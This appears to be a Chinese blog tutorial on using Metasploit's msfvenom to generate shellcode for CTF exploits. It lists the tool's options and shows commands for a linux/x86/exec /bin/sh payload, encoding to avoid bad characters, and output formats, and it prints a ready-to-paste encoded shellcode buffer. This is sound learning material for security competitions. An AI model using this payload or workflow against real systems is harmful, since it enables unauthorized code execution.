之前在打CTF的时候写exploit,总是为了找不到shellcode而发愁,最近更新的peda的shellcode生成功能好像都不好使了,只能使用那万年不变的24 bytes shellcode,而且还没办法规避某些特殊字符。

不过metasploit framework套件中的msfpayload与msfencode配合使用可以做到生成指定的payload,现在这两个工具进行了合并,这就是msfvenom。安装了整个msf的话这个工具就已经包含其中了。

参数介绍

之前也看过一些资料,不过好像其版本不同的话其参数也会略有不同,这里给出我自己的参数(版本4.11.4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
-f, --format <format> Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars <list> The list of characters to avoid example: '\x00\xff'
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out <path> Save the payload
-v, --var-name <name> Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message

如果用过msf的童鞋应该对其payload以及exploit的过程比较熟悉,需要先使用一个payload然后指定一些option然后才能执行exploit,这里也是一样。

payload生成

主要使用-a与-p这两个选项,不过用-l列出payload列表之后发现其实直接在payload里指定architecture就可以了,如下面的写法

1
$ msfvenom -p linux/x86/exec CMD=/bin/sh

注意这里必须给出CMD的值,可以通过—payload-options来查看它有哪些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal

Provided by:
vlad902 <vlad902@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute

Description:
Execute an arbitrary command

...

一般ctf中取得shell就使用/bin/sh就可以了。关于其他的shell_bind_tcp还有更多的参数如LPORT等,可以自己研究。

编码与输出格式

-e选项可以指定encoder,这里我还没研究这个encoder有啥可以变的……

-f选项就是输出的格式,使用—help-formats查看可以输出的格式

1
2
3
4
5
$ msfvenom --help-formats
Error: Executable formats
asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

默认的输出格式是raw就是直接输出ayload的字符串,这样一般会出现乱码,所以和-o配合使用写入文件比较好。

还有就是转换成\x0a这种十六进制编码形式,我们要是在python里写exploit的话就可以指定-f python,如果需要c代码的话就可以用-f c

规避特殊字符

使用-b选项指定需要规避的字符列表,针对不同的函数需要规避不同的字符,例如gets就需要避免使用\x0a这种,而scanf的限制则更多大部分空白符都不能有。例如产生一段exec的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
buf = ""
buf += "\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xd3\xc9\x64\xb3\x83\xee\xfc\xe2\xf4\xb9\xc2"
buf += "\x3c\x2a\x81\xaf\x0c\x9e\xb0\x40\x83\xdb\xfc\xba\x0c"
buf += "\xb3\xbb\xe6\x06\xda\xbd\x40\x87\xe1\x3b\xc1\x64\xb3"
buf += "\xd3\xe6\x06\xda\xbd\xe6\x17\xdb\xd3\x9e\x37\x3a\x32"
buf += "\x04\xe4\xb3"

接着把这段脚本复制进exploit中就可以使用了

PS:之前测试的时候发现一个问题,如果只指定-b '\x0b'的话,其payload中还是有0b,不知道是bug还是什么,如果使用-b '\xb'就不会出现这个问题。

其他选项

  • 使用-n选项在payload前填充Nop Sled
  • 使用-v选项指定变量名,默认就叫buf